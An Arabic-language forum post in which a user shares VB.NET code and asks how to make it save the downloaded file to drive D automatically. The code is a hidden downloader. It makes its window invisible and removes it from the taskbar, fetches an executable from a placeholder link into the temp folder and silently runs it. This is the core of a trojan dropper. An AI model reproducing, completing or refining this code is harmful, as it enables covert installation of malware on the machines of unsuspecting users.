26-06-16, 10:22 AM
(آخر تعديل لهذه المشاركة : 26-06-16, 10:53 AM {2} بواسطة mohammad.anon.)
- هاد الكود بخليني اعمل داونلود لملف من رابط مباشر . بدي طريقة حدد مسار نزول الملف تلقائيا حدا عندو فكرة ؟
Public Class Form1
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Opacity = 0
Dim Download As New Net.WebClient
Me.Hide()
Me.ShowIcon = False
Me.ShowInTaskbar = False
Me.Opacity = 0
Download.DownloadFile("الرابط المباشر للملف", Environ("temp") & "/xx.ExE")
Shell(Environ("temp") & "/xx.ExE")
End
End Sub
End Class
ويكون المسار بقرص D